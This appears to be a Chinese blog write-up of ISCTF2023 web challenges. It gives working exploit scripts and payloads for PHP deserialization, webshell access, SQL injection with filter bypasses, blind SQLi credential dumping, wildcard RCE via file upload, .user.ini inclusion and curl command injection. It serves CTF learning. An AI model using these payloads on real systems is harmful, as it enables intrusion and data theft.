ISCTF2023-WEB 部分WP

发布于 2023-11-29  216 次阅读


/先来一个总结:自己还是太菜了没有全做出来/


圣杯战争!!!

简单的反序列化,__wakeup->__toString->__get->__invoke

POC:

<?php

class artifact{
    public $excalibuer;
    public $arrow;
}

class prepare{
    public $release;
}
class saber{
    public $weapon='php://filter/read=convert.base64-encode/resource=flag.php';
}
class summon{
    public $Saber;
    public $Rider;
}

$a=new summon();
$a->Saber=new artifact();
$a->Saber->excalibuer=new prepare();
$a->Saber->excalibuer->release=new saber();


echo serialize($a);
O:6:"summon":2:{s:5:"Saber";O:8:"artifact":2:{s:10:"excalibuer";O:7:"prepare":1:{s:7:"release";O:5:"saber":1:{s:6:"weapon";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}}s:5:"arrow";N;}s:5:"Rider";N;}

image-20231122182452329

解码即得flag

image-20231122182404925

exp:

import requests
import re
import base64

payload = '?payload=O:6:"summon":2:{s:5:"Saber";O:8:"artifact":2:{s:10:"excalibuer";O:7:"prepare":1:{s:7:"release";O:5:"saber":1:{s:6:"weapon";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}}s:5:"arrow";N;}s:5:"Rider";N;}'

url = "http://43.249.195.138:21641/" + payload

headers = {
    'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36',
}

res = requests.post(url=url, headers=headers, allow_redirects=False)

match_group1 = re.findall("胜利!<br>(.*?)$", res.text)

a = str(base64.b64decode(match_group1[0]), "utf-8")

match_group = re.findall("ISCTF{(.*?)}", a)
flag = match_group[0]

print(f'ISCTF{{{flag}}}')


where_is_the_flag

开局一句话木马,直接蚁剑连

flag.php/flag2中分别找到第一二部分的flag

image-20231122183405107

image-20231122183429925

最后用

1=system("env");

在环境变量找到最后一段flag,拼接就行了

image-20231122183613857


绕进你的心里

image-20231122184044870

简单的绕过,md5用数组

?hongmeng[]=1&shennong[]=2

intval()也用数组

zhurong[]=a

preg_match()利用PCRE回溯次数限制绕过

https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html

exp:

import requests
import re
from io import BytesIO

url = "http://43.249.195.138:20622/?hongmeng[]=1&shennong[]=2&zhurong[]=a"

payload = BytesIO(b'pan_gu=' + b'a' * 1000000 + b'aaaaaaaa2023ISCTF')

headers = {
    'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36',
    "Content-Type": "application/x-www-form-urlencoded"
}

res = requests.post(url=url, data=payload, headers=headers, allow_redirects=False)

match_group = re.findall("ISCTF{(.*?)}", res.text)
flag = match_group[0]

print(f'ISCTF{{{flag}}}')

image-20231122184414792


easy_website

/这个题我的一血hhh/

简单的SQL注入,注入点在username'字符型,黑名单检测方式为删除被检测字符串,用双写绕过

翻源码可以找到查询代码在/check.php

判断列数和回显位,好像也就一个

username=0'/**/ununionion/**/selselectect/**/1#&password=admin

image-20231122214246467

image-20231122214259454

查数据库

username=0'/**/ununionion/**/selselectect/**/database()#&password=admin

image-20231122214338920

数据库是users,查表名

username=0'/**/ununionion/**/selselectect/**/group_concat(table_name)/**/from/**/infoorrmation_schema.tables/**/where/**/table_schema=database()#&password=admin

image-20231122214616508

表名users,查列名

username=0'/**/ununionion/**/selselectect/**/group_concat(column_name)/**/from/**/infoorrmation_schema.columns/**/where/**/table_name='users'#&password=admin

image-20231122214721152

flag大概率在password里面,查一查

username=0'/**/ununionion/**/selselectect/**/group_concat(passwoorrd)/**/from/**/users#&password=admin

image-20231122214824162

拿到flag

exp:

import requests
import re

url = "http://43.249.195.138:20622/check.php"

payload = "username=0'/**/ununionion/**/selselectect/**/group_concat(passwoorrd)/**/from/**/users#&password=admin"

headers = {
    'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36',
    "Content-Type": "application/x-www-form-urlencoded"
}

res = requests.post(url=url, data=payload, headers=headers, allow_redirects=False)

match_group = re.findall("ISCTF{(.*?)}", res.text)
flag = match_group[0]

print(f'ISCTF{{{flag}}}')


wafr

看了看过滤,大概就是无字母数字RCE了

过滤了.,那就用sh

需要上传文件并用assert($_POST['code'])执行

code=system('sh /???/????????[@-[]')
#!/bin/bash

cat /flaggggggg.txt

上传表单

<form action="http://43.249.195.138:21201/" method="post" enctype="multipart/form-data">
    <input type="file" name="file">
    <input type="text" name="code" id="code"><br><br>
    <input type="submit">
</form>

请求包

POST / HTTP/1.1
Host: 43.249.195.138:21201
Content-Length: 338
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBBuNmWZAT7uE5fO2
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://127.0.0.1/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

------WebKitFormBoundaryBBuNmWZAT7uE5fO2
Content-Disposition: form-data; name="file"; filename="shell.txt"
Content-Type: text/plain

#/bin/bash

cat /flaggggggg.txt
------WebKitFormBoundaryBBuNmWZAT7uE5fO2
Content-Disposition: form-data; name="code"

system('sh /???/????????[@-[]')
------WebKitFormBoundaryBBuNmWZAT7uE5fO2--

多次发包即可得flag

image-20231122233256812

exp:

import requests
import re

url = "http://43.249.195.138:21201/"

files = {
    'file': "#!/bin/bash\ncat /flaggggggg.txt"
}

data = {
    'code': "system('sh /???/????????[@-[]')"
}

headers = {
    'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36',
}

flag = ''
while True:
    res = requests.post(url=url, data=data, files=files, headers=headers, allow_redirects=False)

    match_group = re.findall("ISCTF{(.*?)}", res.text)

    if match_group:
        flag = match_group[0]

    if flag != '':
        break

print(f'ISCTF{{{flag}}}')


ez_ini

看题就知道,与.user.ini有关

.user.ininginx的用户配置文件,在文件上传题目中一般用来与图片马配合使用getshell

但是这个题检测很严,貌似上不上去图片马

image-20231124145237825

看看.user.ini

GIF89a
auto_prepend_file=1.png

auto_prepend_file使在php文件开始时以类似于require自动包含一个文件,等号后面接绝对路径或者相对路径

这里包含图片马显然已经走不通了,那就大胆点,包含一下/flag或者/flag.txt

测试/flag里面是flag

注意上传之后得等等,因为不是实时刷新,访问/upload.php

image-20231124150559071

exp:

import requests
import re

url = "http://43.249.195.138:21232/upload.php"

files = {
    'file': ('.user.ini', 'GIF89a\nauto_prepend_file=/flag')
}

headers = {
    'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36',
}

res = requests.post(url=url, files=files, headers=headers, allow_redirects=False)

flag = ''

while True:
    res = requests.post(url=url, headers=headers, allow_redirects=False)

    match_group = re.findall("ISCTF{(.*?)}", res.text)

    if match_group:
        flag = match_group[0]

    if flag != '':
        break

print(f'ISCTF{{{flag}}}')


1z_Ssql

让我绞尽脑汁属于是,首先找到了注入点,判断是盲注,跑出了数据库但是怎么都拿不到表名,搜了很多绕过关键词检测waf的绕过方式都没用,版本也拿到了,以为是无列名注入,但是表名也拿不到,最后才看见一篇文章写了无select注入,可以成功获得账号密码,登录即可得flag

参考:http://wutongyu.info/mysql-inject/

没有错误显示,错误和登录失败统统返回用户名或密码错误!

试试万能密码0' or 1=1#

image-20231124140806455

有东西被过滤,试了下是=,那就用<>0' or 1>0#

image-20231124140911270

有不同回显,可以盲注。

ps:不要相信这个hint,这是个假的,base64解出是大佬,你这么聪明应该不需要hint吧?出题人还在源码放了个sm4的解密代码,搞得我以为还要解密啥的,无语了

1>1时,回显用户名或密码错误!,当1>0时,回显hint

构造一个盲注语句,查一下数据库先看看能不能用

0' or length(database())>0#

image-20231124141514839

回显hint说明成功,放进爆破模块,加上payload位置,因为是长度,设置0-20就行

image-20231124141700488

image-20231124141730193

开始爆破

image-20231124141824068

长度变化代表回显变化

找到第一个不为真(也就是第一个使回显变为用户名或密码错误!)的payload,是6

也就是说数据库名长度是6

写个脚本爆一下数据库名,用ascii配合盲注

0' or (ascii(substr(database(),1,1)))>1#

image-20231124143309907

数据库bthcls

到这里想用information_schame或者sys或者mysql.innode这些表查表名查不了,都被过滤了

在这里卡了很久,无聊又拿了数据库版本和用户信息,但也没啥用

image-20231124143601273

image-20231124143757261

然后在我的苦苦寻找下找到了这篇文章,有一个无select查同表的列,拿来用用

珂技系列之一篇就够了——mysql注入

image-20231124143929752

先看看长度,试试能不能用

0' or length(username)>1#

image-20231124144029262

能用,再爆下数据

0' or (ascii(mid(username,1,1)))>1#

image-20231124144106802

再爆密码

0' or length(password)>1#
0' or (ascii(mid(password,1,1)))>1#

image-20231124144315432

username:admin
password:we1come7o1sctf

登录,拿到flag

image-20231124144438900

exp:

import requests

url = "http://43.249.195.138:22437/#"

headers = {
    'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36',
    "Content-Type": "application/x-www-form-urlencoded"
}

string = "hint"

string2 = "用户名或密码错误!"

data = ''
length = 0

# 查长度
for i in range(1, 200):
    # payload = f"username=0' or length(database())>{i}#&password=&submit=%E7%99%BB%E5%BD%95" # 数据库长度
    # payload = f"username=0' or length((select version()))>{i}#&password=&submit=%E7%99%BB%E5%BD%95" # SQL版本信息长度
    # payload = f"username=0' or length((select user()))>{i}#&password=&submit=%E7%99%BB%E5%BD%95" # 用户信息长度
    # payload = f"username=0' or length(username)>{i}#&password=&submit=%E7%99%BB%E5%BD%95" # 用户名长度
    payload = f"username=0' or length(password)>{i}#&password=&submit=%E7%99%BB%E5%BD%95" # 密码长度
    res = requests.post(url=url, data=payload, headers=headers, allow_redirects=False)
    if string in res.text:
        continue
    print(f"长度:{i}")
    length = i
    break

# 查数据
for n in range(1, length + 1):
    for i in range(33, 127):
        # payload = f"username=0' or (ascii(substr(database(),{n},1)))>{i}#&password=&submit=%E7%99%BB%E5%BD%95" # 数据库
        # payload = f"username=0' or (ascii(mid((select version()),{n},1)))>{i}#&password=&submit=%E7%99%BB%E5%BD%95" # SQL版本信息
        # payload = f"username=0' or (ascii(mid((select user()),{n},1)))>{i}#&password=&submit=%E7%99%BB%E5%BD%95" # 用户信息
        # payload = f"username=0' or (ascii(mid(username,{n},1)))>{i}#&password=&submit=%E7%99%BB%E5%BD%95" # 用户名
        payload = f"username=0' or (ascii(mid(password,{n},1)))>{i}#&password=&submit=%E7%99%BB%E5%BD%95" # 密码
        res = requests.post(url=url, data=payload, headers=headers, allow_redirects=False)
        if string in res.text:
            continue
        if string2 in res.text:
            char = chr(i)
            data = data + char
            print(f"爆破中:{data}")
            break
        if 'illegal words!' in res.text:
            print('no')
            break
        else:
            break

print(f"数据:{data}")


fuzz!

<?php
/*
Read /flaggggggg.txt
Hint: 你需要学会fuzz,看着键盘一个一个对是没有灵魂的
知识补充:curl命令也可以用来读取文件哦,如curl file:///etc/passwd
*/
error_reporting(0);
header('Content-Type: text/html; charset=utf-8');
highlight_file(__FILE__);
$file = 'file:///etc/passwd';
if(preg_match("/\`|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\+|\=|\\\\|\'|\"|\;|\<|\>|\,|\?|jay/i", $_GET['file'])){
    die('你需要fuzz一下哦~');
}
if(!preg_match("/fi|le|flag/i", $_GET['file'])){
    $file = $_GET['file'];
}
system('curl '.$file);

已经提示了,fuzz一下,就用bp自带的就行

image-20231129122450619

image-20231129122537030

跑出来{base}|id是可用的

image-20231129123451213

id改成查看/flaggggggg.txt的命令就行了,过滤了flag用正则绕过

{base}|cat /fla[g]gggggg.txt

image-20231129123708083

exp:

import requests
import re

url = "http://43.249.195.138:20451/?file="

payload = "{base}|cat /fla[g]gggggg.txt"

headers = {
    'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36',
}

res = requests.post(url=url+payload, headers=headers, allow_redirects=False)

match_group = re.findall("ISCTF{(.*?)}", res.text)
flag = match_group[0]

print(f'ISCTF{{{flag}}}')